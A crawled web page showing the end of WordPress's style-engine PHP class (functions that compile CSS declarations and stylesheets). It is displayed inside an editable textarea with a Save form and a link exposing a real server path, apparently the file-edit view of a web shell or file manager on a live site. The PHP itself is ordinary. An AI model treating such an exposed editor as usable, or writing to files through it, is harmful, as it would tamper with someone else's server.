	protected static function get_url_or_value_css_declaration( $style_value, $style_definition ) {
		if ( empty( $style_value ) ) {
			return array();
		}

		$css_declarations = array();

		if ( isset( $style_definition[&#039;property_keys&#039;][&#039;default&#039;] ) ) {
			$value = null;

			if ( ! empty( $style_value[&#039;url&#039;] ) ) {
				$value = &quot;url(&#039;&quot; . $style_value[&#039;url&#039;] . &quot;&#039;)&quot;;
			} elseif ( is_string( $style_value ) ) {
				$value = $style_value;
			}

			if ( null !== $value ) {
				$css_declarations[ $style_definition[&#039;property_keys&#039;][&#039;default&#039;] ] = $value;
			}
		}

		return $css_declarations;
	}

	/**
	 * Returns compiled CSS from CSS declarations.
	 *
	 * @since 6.1.0
	 *
	 * @param string[] $css_declarations An associative array of CSS definitions,
	 *                                   e.g. `array( &quot;$property&quot; =&gt; &quot;$value&quot;, &quot;$property&quot; =&gt; &quot;$value&quot; )`.
	 * @param string   $css_selector     When a selector is passed, the function will return
	 *                                   a full CSS rule `$selector { ...rules }`,
	 *                                   otherwise a concatenated string of properties and values.
	 * @return string A compiled CSS string.
	 */
	public static function compile_css( $css_declarations, $css_selector ) {
		if ( empty( $css_declarations ) || ! is_array( $css_declarations ) ) {
			return &#039;&#039;;
		}

		// Return an entire rule if there is a selector.
		if ( $css_selector ) {
			$css_rule = new WP_Style_Engine_CSS_Rule( $css_selector, $css_declarations );
			return $css_rule-&gt;get_css();
		}

		$css_declarations = new WP_Style_Engine_CSS_Declarations( $css_declarations );
		return $css_declarations-&gt;get_declarations_string();
	}

	/**
	 * Returns a compiled stylesheet from stored CSS rules.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Style_Engine_CSS_Rule[] $css_rules An array of WP_Style_Engine_CSS_Rule objects
	 *                                              from a store or otherwise.
	 * @param array                      $options   {
	 *     Optional. An array of options. Default empty array.
	 *
	 *     @type string|null $context  An identifier describing the origin of the style object,
	 *                                 e.g. &#039;block-supports&#039; or &#039;global-styles&#039;. Default &#039;block-supports&#039;.
	 *                                 When set, the style engine will attempt to store the CSS rules.
	 *     @type bool        $optimize Whether to optimize the CSS output, e.g. combine rules.
	 *                                 Default false.
	 *     @type bool        $prettify Whether to add new lines and indents to output.
	 *                                 Defaults to whether the `SCRIPT_DEBUG` constant is defined.
	 * }
	 * @return string A compiled stylesheet from stored CSS rules.
	 */
	public static function compile_stylesheet_from_css_rules( $css_rules, $options = array() ) {
		$processor = new WP_Style_Engine_Processor();
		$processor-&gt;add_rules( $css_rules );
		return $processor-&gt;get_css( $options );
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-includes%2Fstyle-engine'>🔙 Back</a></p>